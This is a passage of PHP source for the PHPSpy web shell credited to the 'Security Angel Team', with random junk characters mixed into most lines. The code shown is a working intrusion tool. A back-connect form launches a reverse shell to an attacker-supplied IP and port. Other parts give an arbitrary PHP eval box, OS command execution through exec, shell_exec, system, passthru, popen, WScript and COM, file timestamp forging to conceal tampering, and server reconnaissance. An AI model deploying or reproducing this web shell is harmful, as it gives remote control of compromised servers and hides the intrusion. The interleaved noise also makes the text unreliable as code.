" y e9 l8 ?; Y1 q8 v: E: L* ~- J - @unlink('/tmp/angel_bc.c');
) _' F$ P# k# v - $res = execute("/tmp/angel_bc $yourip $yourport &");3 u) ?% z; _2 k$ |. p
- }
# D3 ^; b; q B8 ^8 X9 v" B/ S - m("Now script try connect to $yourip port $yourport ...");
/ [ J6 Q) E, _# n2 l" A - }
& y& _* o( ~( H9 F9 B3 W" U - formhead(array('title'=>'Back Connect'));
' q+ S1 Z8 W% ? - makehide('action','backconnect');
1 |8 W! P T+ K0 w6 e; ^. r" t& q - p('<p>');/ K/ S) Z1 n. t
- p('Your IP:');
6 a3 T0 h ~- S* T! y6 B - makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));6 F4 n# d' T0 f' Z" b# {
- p('Your Port:');# {& C' z7 q3 \/ j6 K
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
) X4 g2 I- g& Q2 i; W2 |5 {' ]/ p# P - p('Use:');
5 R; y, Y C0 E$ [- Z( N: q - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
S: O5 ]2 s# _+ H! A# h! O - makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
) L& z7 j5 }; Z4 k! U - p('</p>');
C- h! Z+ k$ L8 o - formfoot();
5 |- w* D+ V$ Z - }//end sql backup! y7 t; W' w& |7 d7 O: n
- elseif ($action == 'eval') {7 [- D) W+ b: u
- $phpcode = trim($phpcode);
: o0 W# {, m# C; v1 Z/ E - if($phpcode){
M. f/ Q* {' K$ v. a0 A - if (!preg_match('#<\?#si', $phpcode)) {
& T4 a1 Z* ^ U P' a - $phpcode = "<?php\n\n{$phpcode}\n\n?>";
5 X6 V6 y0 h2 c% q2 A - }
, [. e, u( p: E- u+ j, W% i1 E4 I; D# [ - eval("?".">$phpcode<?");: {/ ]* b7 {- t1 Y" _
- }, G- X8 u9 R- o; F* d- y" d e6 C( b
- formhead(array('title'=>'Eval PHP Code'));
5 \6 Y( i$ Q: J% t" b9 B - makehide('action','eval');
* T% ^, u- u: p# ?! Z - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
, S: W( V3 o3 s o7 l/ c; v W - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');* `, z/ @6 z! `, t: P) k# ]! p+ r
- formfooter();7 I# ]- e" z- T: Z
- }//end eval
9 U5 x8 S9 [$ S2 H& t/ s - 4 i: `( M7 {5 V/ Z
- elseif ($action == 'editfile') {9 I( Q2 L2 K% ]/ C
- if(file_exists($opfile)) {% j% M2 f, V5 G" E1 I$ p
- $fp=@fopen($opfile,'r');6 x& ]: `0 v ]+ ~
- $contents=@fread($fp, filesize($opfile));
' B3 o A3 \% f% @5 v - @fclose($fp);
# n5 @4 [1 b/ @! h$ p, e9 H- h - $contents=htmlspecialchars($contents);$ x$ Q; s. N& ?& y1 O/ b+ J# |4 K
- }
$ o6 ~2 I6 K7 N( O$ o$ s - formhead(array('title'=>'Create / Edit File'));# A8 R8 v; L) g n: Q
- makehide('action','file');
1 [) T, x0 Y# i0 v2 P4 l% y - makehide('dir',$nowpath);! \8 L d) o/ g: x+ ?
- makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));( a! p: T4 [- i* k+ b4 h( X
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
/ d G; o* K7 b. Z - formfooter();/ N7 a2 [8 ` V$ P: V9 `% ?/ Y
- }//end editfile
; ~% ?" W% J% [% C0 J0 W5 c -
) A% M' B+ z+ u" J - elseif ($action == 'newtime') {, E0 W: @7 K2 T4 s" E' S# ?
- $opfilemtime = @filemtime($opfile);% n! _$ J% z6 N3 Q! |
- //$time = strtotime("$year-$month-$day $hour:$minute:$second");
* G/ z" Q+ Q! O+ L, C2 N - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);" R$ I' y6 ]" Y1 ~) j
- formhead(array('title'=>'Clone file was last modified time'));
' k7 R% J$ X. w2 E: l - makehide('action','file');
# n) x2 \: b; b- E* t; Y' X; u - makehide('dir',$nowpath);
; E/ U9 v. [2 v) r& y - makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
/ }( [2 W: U' L3 F - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));( @8 _5 X4 @: b7 }$ G1 T$ A
- formfooter();
1 g& X% [. W. o. s% } Z8 A- [ - formhead(array('title'=>'Set last modified'));
1 i6 v3 K& z6 f& y* @/ R' | - makehide('action','file');
3 \6 T, x& e" W) _$ v' n - makehide('dir',$nowpath);8 l5 P0 o8 P: t& M. r7 A
- makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));$ W' U! r5 |* R* V; `( d& G
- p('<p>Instead »');
- P1 N1 v3 H7 d7 T7 g+ x - p('year:');* Q' q# l7 I9 h+ `& f; @
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));/ z4 p, w3 X) _7 N+ ?0 q
- p('month:');; I3 T$ C) e! c3 |; ?4 Z- B
- makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
6 j8 H6 y- e8 N6 W - p('day:');" }* O/ N3 A" r2 V
- makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
g7 W% R5 l; a - p('hour:');
6 U4 e& D( [" S) o - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));) ]0 M% `: ]2 [3 \/ _
- p('minute:');
( `- u. _, Q" v' e. f4 ` - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));. k c! B6 ^, W" B2 F
- p('second:');
7 P2 `, n4 f! B7 B - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
, m- ?( ?* G- ` o' Q) \ - p('</p>');0 Y- O& I3 Z' q( b- D
- formfooter();% C* Z/ l+ u* E' k/ C# h( P
- }//end newtime
( ~: s! ` q0 _! t - + `0 R# c. V& a' j- L! `' ]
- elseif ($action == 'shell') {0 \# O5 k$ z1 H8 ~; _3 y
- if (IS_WIN && IS_COM) {( @8 x6 Z' z$ U9 C s" [% J
- if($program && $parameter) {
8 y4 }( ^( E7 n0 T - $shell= new COM('Shell.Application');
0 B! r, _1 B2 Y+ c - $a = $shell->ShellExecute($program,$parameter);
& J' E( o7 q g, m7 d* P5 ], i - m('Program run has '.(!$a ? 'success' : 'fail'));
0 S# [- k, C( E) Z2 p1 s - }
* m) K M: @$ N1 z7 w$ | - !$program && $program = 'c:\windows\system32\cmd.exe';
# ?8 C0 q, n8 [6 X7 T+ s - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
/ T0 F4 r7 C9 Q% m0 W - formhead(array('title'=>'Execute Program'));# p& Q* ]3 n/ n5 {
- makehide('action','shell');
1 Y8 z A. L) e9 M# B - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
5 x; L3 i7 L3 y- t! N' X - p('<p>');
* e2 @" A& S# M/ H: ^4 L, } - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
! Z0 G6 v# d& T - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));" x9 Z4 j8 o' j2 t) z
- p('</p>');
9 s/ K" N/ n8 g - formfoot();3 b! _8 v) s7 a
- }& ~. P( x3 T3 J" l) z( ]& e
- formhead(array('title'=>'Execute Command'));" C% T5 U2 _$ L
- makehide('action','shell');2 e$ @% u. |9 A/ k. j& a
- if (IS_WIN && IS_COM) {
0 |3 d* P! E9 k' m4 P" J" p# D - $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');! A5 d, c$ r+ v7 Z
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));0 ~8 i# m/ r! N$ i5 N7 r" O8 k
- }
5 J8 `2 z( e/ P3 s; j+ ~8 h - p('<p>');
' Q) Z6 k! T" J+ C - makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
4 ~9 r% `6 N) O5 v" k - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));. W |3 G! [) D3 q& X+ n
- p('</p>');% X' Z" v2 ]6 r3 M
- formfoot();$ e3 h2 I# ~0 U2 q! x- E
- 7 ^' |( q* w; j9 Y" a/ ^
- if ($command) {3 ]1 g: T M R' P7 D: d4 M7 ?: R
- p('<hr width="100%" noshade /><pre>');* R) i3 g0 `+ U- l% u6 m
- if ($execfunc=='wscript' && IS_WIN && IS_COM) {4 t# r' V( ~2 ]3 W- D
- $wsh = new COM('WScript.shell');5 O# E' i. S$ n4 C5 j
- $exec = $wsh->exec('cmd.exe /c '.$command); B5 r% X* @6 Q' f& Q
- $stdout = $exec->StdOut();4 G& N* |0 d, D3 B2 A" S8 O* O
- $stroutput = $stdout->ReadAll();2 H n/ ]+ \: O- E0 T7 K3 p; G/ ~
- echo $stroutput;
0 [3 }* R# C& @/ Q# R1 [3 [ - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
4 p( t: ?+ h# h6 w) g - $descriptorspec = array(: g/ n! g* |! k" y( v4 k9 q" i
- 0 => array('pipe', 'r'),- e2 I5 w1 P$ a. X
- 1 => array('pipe', 'w'),- Z% X2 Z- K/ {; O+ O
- 2 => array('pipe', 'w') h0 I+ i9 O( L+ n: k, f4 A% ?
- );' z& e4 L& S1 c0 c% f6 v' u
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);3 O# ]4 e5 m1 K/ b: N8 k
- if (is_resource($process)) {/ n& m+ g" @% D( N2 c- p2 F' |
- fwrite($pipes[0], $command."\r\n");8 L6 P& O' {" ^( Y! G; [, t
- fwrite($pipes[0], "exit\r\n");
0 w# P/ S- A, }1 J: w - fclose($pipes[0]);
0 Y7 M N5 H& T& k6 g4 I7 W - while (!feof($pipes[1])) {- Z. G1 w; y9 U, j
- echo fgets($pipes[1], 1024);
! z1 ]/ I- f# r - }
5 L9 c. N9 r q+ w4 j3 ~; w - fclose($pipes[1]);, P6 o2 A/ x' ~( ]; g( k( s0 T
- while (!feof($pipes[2])) {
9 [' ]8 R! o A* d - echo fgets($pipes[2], 1024);
4 z3 t5 o+ e' [- S( G - }
# V2 j4 O; y [6 l- I - fclose($pipes[2]);
* f V3 H# E [* P# z' H; [ - proc_close($process);# Y2 c& g# G5 O- g' ~# _& r& _" |
- }
& q; X" H$ F2 k# G S5 @/ r0 q - } else {; S1 n# f) Q+ I- b7 U9 V
- echo(execute($command));: a" b6 y$ ~0 @# b3 n0 B; c3 m
- }; T, K3 A9 _0 N, Z: L. W7 ^
- p('</pre>');
* J& N! k; w- K - }
' g0 t/ h: A, Z - }//end shell5 g$ x& |$ r! `7 Y, I. r# c' ^
- # c9 D4 P0 z |1 E* X% ^, V
- elseif ($action == 'phpenv') {3 N" ]. Q$ V5 `, m/ m2 v
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
3 m# I6 F2 J; u' O J+ O - $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');- |4 G" j7 n# _# _
- !$dis_func && $dis_func = 'No'; " C* w& l6 t' O- V+ ?
- $info = array(
4 b* w8 L; p+ R7 z - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
. s% o+ z7 b( S+ C& k7 m2 W - 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
( u" t$ I% c3 n3 d9 H - 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),1 d4 Z& i# i; e* x Z# f+ R
- 4 => array('Server OS',PHP_OS)," p+ S& x8 M/ M3 l# a* \
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
( K* k7 C. v' h3 k7 n$ ^, l - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
/ o, r9 Q' @, o" r - 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),' E; f: U" ?% z; J
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),
" r' K5 |8 h7 X& p( X+ u - 9 => array('The file path',__FILE__),9 }9 ~) ~* o8 S8 G0 k
-
" E4 W4 h4 f$ B5 X - 10 => array('PHP Version',PHP_VERSION),4 c$ V4 V! P/ W1 w9 Z* U
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),4 x$ R4 H# L7 y2 y
- 12 => array('Safe Mode',getcfg('safe_mode')),
- Z6 f: n1 L$ e4 h8 Y; I3 Z, z - 13 => array('Administrator',$adminmail),# Z5 L7 h% S q3 V& K4 Z0 z; |
- 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
$ u3 ^9 t( }$ E; u, }. g# t# O G - 15 => array('enable_dl',getcfg('enable_dl')),( A; J0 }( R: N
- 16 => array('display_errors',getcfg('display_errors')),
: R- b& u+ q) B2 y. y1 P3 A+ m( c - 17 => array('register_globals',getcfg('register_globals')),5 Q2 a- t. y, @+ R h) Z- W# `
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),# b% x) q4 C, ~, ?$ N
- 19 => array('memory_limit',getcfg('memory_limit')),
# z7 }2 g; O2 p4 a9 r# o, x0 V - 20 => array('post_max_size',getcfg('post_max_size')),
0 m' J7 h: V) @; a: | - 21 => array('upload_max_filesize',$upsize),, y% s# z$ C3 X6 B( C2 n
- 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),( R$ h; L9 W! @; D5 X
- 23 => array('disable_functions',$dis_func),
5 M5 ^4 ~# g. y K3 a - );
6 |4 I) b" w8 u) i) ? - 9 Y& R0 G% a. W5 H
- if($phpvarname) {+ Y- c0 l }: O& F+ O
- m($phpvarname .' : '.getcfg($phpvarname));/ p# P7 c9 E3 r- v4 A3 h+ v2 L% c
- }
/ d( \2 g) b. c5 l - ( t! z8 D2 L- A/ U
- formhead(array('title'=>'Server environment'));
7 v/ q! H- K0 H! l - makehide('action','phpenv');% ?' y1 [2 E# W/ Q; v+ a$ P) C
- makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));/ x2 e8 c/ @7 {9 |! G
- formfooter();$ t7 x5 ]2 [$ c2 s3 }2 |0 c2 a) ^; O
-
/ Z* l/ t/ E4 C* g - $hp = array(0=> 'Server', 1=> 'PHP');
+ w' H. A. |1 D - for($a=0;$a<2;$a++) {7 k; V+ {0 t) e4 f' O/ D6 P- Y) _ W
- p('<h2>'.$hp[$a].' »</h2>');' F% I& f9 d) c7 w3 J" c
- p('<ul class="info">');
/ W0 F9 `! I( R% T# j - if ($a==0) {
. k# e3 T9 k) V# N* _* B7 v - for($i=1;$i<=9;$i++) {" D: ]; }3 @. {- X+ w& l8 S
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
0 k! j' D: D8 {0 m/ d) f - }9 D. x* l0 ^: W, J. `) g
- } elseif ($a == 1) {
# h& Y: O& i$ \" ~1 B7 } - for($i=10;$i<=23;$i++) {. S+ x4 @" J6 U$ Q' e! O# |
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');+ T' w+ Y0 L% }/ }' E% D; [
- }+ u- m9 t" K) F9 h8 w: U
- }0 ]; O) g+ ?# a2 O. z+ T6 x
- p('</ul>');
# e# z/ T, y& w9 _2 K- K F0 @$ | - }
( P9 }# u: E( v9 l) J - }//end phpenv" W' L% o: q6 w. M: v; }. p
- " A! ~0 U# c- c4 u* {0 n) O( `
- else {$ k9 \7 q. T) F3 I2 f1 [: F
- m('Undefined Action');" u; K8 W Z1 f
- }' g4 g" \8 `$ F
-
0 r6 `4 B S& b! c9 W( v5 ? - ?>6 u' m+ j( t3 a- Z! n2 ]
- </td></tr></table>
( ^3 R% l0 ]% x% j3 i, Q O V. K/ m - <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">1 v) E4 A, O7 B; I4 d
- <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
3 D3 D6 a9 d) y9 h' X" n2 _; i2 T - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
5 }4 O [' z# D( D6 D# X' X - </div>
- q5 K4 o( N; Y4 s) q/ R - </body>' @& Y1 U# _9 V
- </html>" M, C3 l% a% z8 m2 x
- * S2 B( l! m3 \$ U/ R, u4 J
- <?php
$ g9 C, w" v7 F |1 Q v5 ^ a- N -
+ K1 q+ g' V" W - /*======================================================( q( O$ I0 z0 ^9 K" k" T- k5 o5 e- I
- 函数库& a$ \4 E- h5 l: m" E* A9 U* C
- ======================================================*/
! ~$ j. _% b% d9 ]4 C -
$ w5 t; F) u8 u+ x6 u9 s/ E, @* ?; A# i - function m($msg) {+ l% f' D% y6 Z* h, T" i
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
! X+ w" }$ O. F/ U- [! d - echo $msg;4 |! f) T. u+ w' @4 i }
- echo '</div>';
6 Z* ]; w# m8 W, Y: A3 N B" r9 X - }
D1 Q( \- L& i X - function scookie($key, $value, $life = 0, $prefix = 1) {
& x G: P3 ^5 i6 r - global $admin, $timestamp, $_SERVER;7 p8 z' W e1 t3 U& V
- $key = ($prefix ? $admin['cookiepre'] : '').$key;
, q- L$ G' M" C# I - $life = $life ? $life : $admin['cookielife'];
1 A. F; N% c/ Z7 c& t& k5 R8 ? - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
) d* a/ V& C. i% p2 O, a+ T - setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
' T* `+ b! H8 @* l - } ^5 R1 ?7 v3 q3 }6 V
- function multi($num, $perpage, $curpage, $tablename) {: Y7 a* ?2 y5 I* l3 D6 c" K
- $multipage = '';/ u, }$ m; H* b& K& F9 D9 A
- if($num > $perpage) {* ]% j) l& Z5 m
- $page = 10;9 l, d+ d( @7 y- M- v; K7 F
- $offset = 5;
' v s- b" O0 j E+ c' e - $pages = @ceil($num / $perpage);5 Z) P0 W/ {7 ^: n
- if($page > $pages) {
, a) ^% D3 X6 |5 T! Z. E/ a - $from = 1;1 w2 @: O: a) y9 k! J( m7 z
- $to = $pages;
8 v% ~4 ]8 u4 G7 d# ]3 b - } else {% H7 @/ F# P2 ?5 c
- $from = $curpage - $offset;
, e0 m! o; {' W H# j) v - $to = $curpage + $page - $offset - 1;
9 U' Q1 ?2 Z* n6 M2 l0 x& [* w - if($from < 1) {
9 B$ @0 m! d4 d { - $to = $curpage + 1 - $from;
" f+ A& a l9 }* L - $from = 1;. Z, {$ Y( ^9 a& R8 c4 G& K) B0 v& v
- if(($to - $from) < $page && ($to - $from) < $pages) {
$ c$ P, F0 X i/ e4 k2 C; f7 o - $to = $page;4 f: ]6 T8 C; b' F1 y
- }$ v" Y/ }7 l4 f7 H6 d w. i3 b4 ?
- } elseif($to > $pages) {
) M+ C! T* U( V+ R% Z - $from = $curpage - $pages + $to;8 k4 y8 p* y6 z0 \
- $to = $pages;
& t4 T( K. ]: C, |! K7 Z) r0 Q T - if(($to - $from) < $page && ($to - $from) < $pages) {
# X& H! ?0 m. G) y0 _ S - $from = $pages - $page + 1;; l/ L( q( S6 f; M3 [
- }# `( [7 |7 B6 d; S1 j0 e
- }
8 r, p+ d' k: z& d$ B9 A- \7 F - }
7 k, r5 X- ^: _5 [( P, W - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
8 m% {9 {& l+ q, Q! L - for($i = $from; $i <= $to; $i++) {
1 y3 w! y2 ]+ ]! s: } - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
' x1 o/ p2 l. N* E+ w' h; g - }- ^- R1 ]( k) N& T8 Y6 {
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');& L- R9 X) C2 }' o
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
8 t! k& C; }9 ^4 ^ - }: }* j# a3 T( c. W1 [" \
- return $multipage;
8 J( h) `4 t6 y/ A, v - }; B: V0 m" g) C$ _4 M: S0 I
- // 登陆入口
9 z5 r2 V! W0 b ^6 s7 r - function loginpage() {; [! r. t% u# M9 O- l
- ?>
' R' |* e9 m) i% ~" ^, ~ - <style type="text/css">
1 [2 ?: w k: g5 t. _) m5 ~9 Z - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}6 N! o5 m6 O. B7 d3 G q
- </style>
, q: t+ k# Z C! g2 i - <form method="POST" action="">+ f b1 I8 q/ A: H" ^# D/ |
- <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
' A8 O9 Y5 Q3 `$ v7 L - <input type="hidden" name="doing" value="login">( f- W- C% t. `1 i3 `3 G4 J
- <input type="submit" value="Login">
& X; }' d5 T) o - </form>
; I# k( O, {# c6 {8 z; a. u+ D$ N1 G - <?php
* C- \. p. q" X& i - exit;
/ ^: e) M# U: g J( N; U- x - }//end loginpage()
6 E# s, i/ Y1 [: i" ~; M -
$ f9 }, {5 n; d1 G - function execute($cfe) {5 x4 O0 L1 V& F- L
- $res = '';2 I8 }- S7 ~ _
- if ($cfe) {! L% J8 |# y+ z5 L6 q5 d6 y
- if(function_exists('exec')) {8 m$ q2 t) ?3 u h
- @exec($cfe,$res);, r6 y7 x! a3 L7 V- T- Z
- $res = join("\n",$res);
% Y0 ?2 k" C& k4 e6 y8 z - } elseif(function_exists('shell_exec')) {1 W3 q& D2 J4 T* V3 U* }
- $res = @shell_exec($cfe);
; J( I5 X. j$ R4 P# Z8 \ Y3 ~ - } elseif(function_exists('system')) {
, v/ L' B( D4 L; G0 Y+ i - @ob_start();
7 r# { l9 O5 s7 M, c4 W* v - @system($cfe);
! p3 k5 F. d' d, }" |1 L& q. { - $res = @ob_get_contents();
6 s; L4 ]& s- i3 ~7 {' N - @ob_end_clean();6 }8 [ ]4 \* P- W
- } elseif(function_exists('passthru')) {6 d2 v/ @4 ^: {! x
- @ob_start();0 L- B* x6 I, Q1 F. e, `1 E
- @passthru($cfe);
# _' r) R) d0 [ - $res = @ob_get_contents();& k0 `+ B. y2 x1 e, R
- @ob_end_clean();2 [" d( B+ t: y2 ?% ~! f# @
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
" r9 e/ D6 R6 H/ R( i - $res = '';. E; ?+ u' b* _8 \+ H: S
- while(!@feof($f)) {
. o0 ~4 g# [4 }) q3 t4 B - $res .= @fread($f,1024);
5 Q5 l7 }7 w/ |: J0 g# i - }
* X/ C$ b. N9 p5 D0 C - @pclose($f);1 P& n3 N0 L( U7 c( e# A& P7 {: v
- }0 L7 n6 S) Z; `! Q) b
- }
5 ]9 F7 i1 ]4 [2 U7 { - return $res;
& K" z# y) }1 l6 }# x( U3 ^! U - }
3 n {. a; F6 L: x - function which($pr) {
9 E& ?1 y. @$ D# k! I. n - $path = execute("which $pr");
* ]$ V% z5 m8 k6 J m; g - return ($path ? $path : $pr); - A' }3 n) p( v8 H7 G
- }
9 |4 J! v4 A; L# ?7 @6 L9 z - % f* Z2 H8 o) G% X! l
- function cf($fname,$text){
) H! I! L0 ]) K) Y3 U. c' k% p - if($fp=@fopen($fname,'w')) {4 F6 p, L3 a8 R1 `8 V& S
- @fputs($fp,@base64_decode($text));
9 [; F9 j5 m- ]; @ - @fclose($fp);
" s& y3 i" `% t. f! `' W - }
! @6 \ B" E/ Z! n. N2 v - }
U6 f& O9 {! u - 6 \ X1 \6 A* [
- // 页面调试信息2 i8 ]6 K4 k% ~) v0 C! H9 d4 L
- function debuginfo() {
+ r4 z7 C0 v2 r4 r7 b1 P# C - global $starttime;
/ r. r+ k* z0 }+ R' N& W+ Y - $mtime = explode(' ', microtime());9 r& m$ {6 P; W3 t+ @1 C. m
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);4 h! _5 P+ I& e# y
- echo 'Processed in '.$totaltime.' second(s)';
& @# w A% k* ~) X' D; B( _) S) {3 K - }
! x* t- r" O& U% n - Q: K; v. c( C" n- O$ Z7 F8 r
- //连接数据库) `% I% B. ]. }) Z6 g4 G# D
- function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
~/ h5 x5 \; S, p+ K! m0 k! j8 ] - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {" K' T& X+ g; k* ]. Y4 ?- Q
- p('<h2>Can not connect to MySQL server</h2>');
7 a6 Y1 H: k' b% ] - exit;& O: [$ D: ^8 { E
- }3 a0 H9 T) d3 x+ G. g$ k
- if($link && $dbname) {, |2 J6 y) U* N& P3 N
- if (!@mysql_select_db($dbname, $link)) {8 J# p2 r: X5 ^7 F3 u5 e* g
- p('<h2>Database selected has error</h2>');
; C9 _# R0 x0 T* U& M - exit;% k6 W% F& R( {
- }
u2 b/ Z- c. s0 j p! [9 M$ c7 f - }
7 M1 z4 i r3 C' U6 f! x - if($link && mysql_get_server_info() > '4.1') {
9 Y; m, h- u" F7 t, l7 V$ F& V( ? - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {/ |! F) B4 _/ U: O2 \8 H4 _
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);8 k3 D4 l/ u1 b
- }4 z5 t# e6 z+ j
- }
3 n' I) M+ d/ Z' p. T6 z2 E8 j - return $link;
4 I8 M ]- m' g# w7 ?1 e - }
) [6 C4 E& C" _- X; w - t; f4 P/ i. X+ g+ Y& m
- // 去掉转义字符! J: N/ Q1 a: p$ U: f' O
- function s_array(&$array) {
$ N" G; f0 |' H5 a( r" M8 s - if (is_array($array)) {
9 x' u/ J! e2 G& p: b+ N - foreach ($array as $k => $v) {$ W8 Q+ E) t! G8 K O9 C# `
- $array[$k] = s_array($v);
4 r$ n9 o9 H, p) z/ L - }# ^0 k/ w1 m; A5 a s
- } else if (is_string($array)) {3 C1 `2 j' }& ]$ M/ y
- $array = stripslashes($array);
% k7 a5 E; N/ q - }
1 I; X; y/ _+ J0 U+ d+ _' s f* | - return $array;
4 Z- d0 g3 b7 S3 W6 I! q - }
8 u% Q& `7 Y" W+ v0 \ -
5 a( X! i! Y7 a$ N- I0 R3 v/ J* \; [ - // 清除HTML代码
& M# s( `6 F1 ~3 u8 l4 i2 d1 X - function html_clean($content) {
[, ?. q: O' M) |3 W - $content = htmlspecialchars($content);
4 P9 o% k* w; n6 t; h" | - $content = str_replace("\n", "<br />", $content);* F* N; d- Z X& }% L5 U1 z% ]
- $content = str_replace(" ", " ", $content);
6 h& A1 \; O& R: a' h - $content = str_replace("\t", " ", $content);8 A: k) ^7 o! l0 x" ~8 l! _
- return $content;# T% C& i" M% b( o. i# C
- }/ l4 O; K: k* x% O" Y
- % B, ~6 r2 T( B0 r% ?5 E' `
- // 获取权限6 h/ D( i" A* H6 b( H _
- function getChmod($filepath){) F! x5 l5 Z! `( @, r
- return substr(base_convert(@fileperms($filepath),10,8),-4);
5 w+ v: [! T2 J! I# O' k6 V6 i' q7 x - } F1 s7 \& c% H% g ?+ m+ R ]' q; c& P
- * v. L7 P R% d8 L, J+ A
- function getPerms($filepath) {5 P2 l9 p2 M' Y5 C# G( |
- $mode = @fileperms($filepath);
: Y5 X. x$ ~ V3 @9 t1 i - if (($mode & 0xC000) === 0xC000) {$type = 's';}) g, m2 N" E W) h K; n9 i
- elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}/ e( E( y# n2 ^% r
- elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
, y. J' Q1 W. x V- J3 j( D - elseif (($mode & 0x8000) === 0x8000) {$type = '-';} ! X7 p4 E k& R2 @
- elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}$ e- V) k/ s- J3 X5 t
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}; D! u9 }2 N; \' j" c0 B
- elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}" e! ?8 _0 R9 _' n. Z" ?" k( L
- else {$type = '?';}
+ U# X! x0 ]: U1 j( s3 C* @# Q -
# I5 G6 L- Z/ U6 u - $owner['read'] = ($mode & 00400) ? 'r' : '-';
5 l. i4 Q$ j) C5 p% {2 d% h% I - $owner['write'] = ($mode & 00200) ? 'w' : '-'; / D8 Y% s$ \1 H& N2 V/ U& \8 U
- $owner['execute'] = ($mode & 00100) ? 'x' : '-'; ! c2 i7 D4 [9 `- F( T( t+ ]) l; k9 s
- $group['read'] = ($mode & 00040) ? 'r' : '-';
4 k- \- @8 i* q$ C: p3 R - $group['write'] = ($mode & 00020) ? 'w' : '-';
+ h. Q o5 A+ |% _ - $group['execute'] = ($mode & 00010) ? 'x' : '-'; 4 y, V' }+ l w8 T
- $world['read'] = ($mode & 00004) ? 'r' : '-'; x/ s$ x; G" w* c: G& ]
- $world['write'] = ($mode & 00002) ? 'w' : '-';
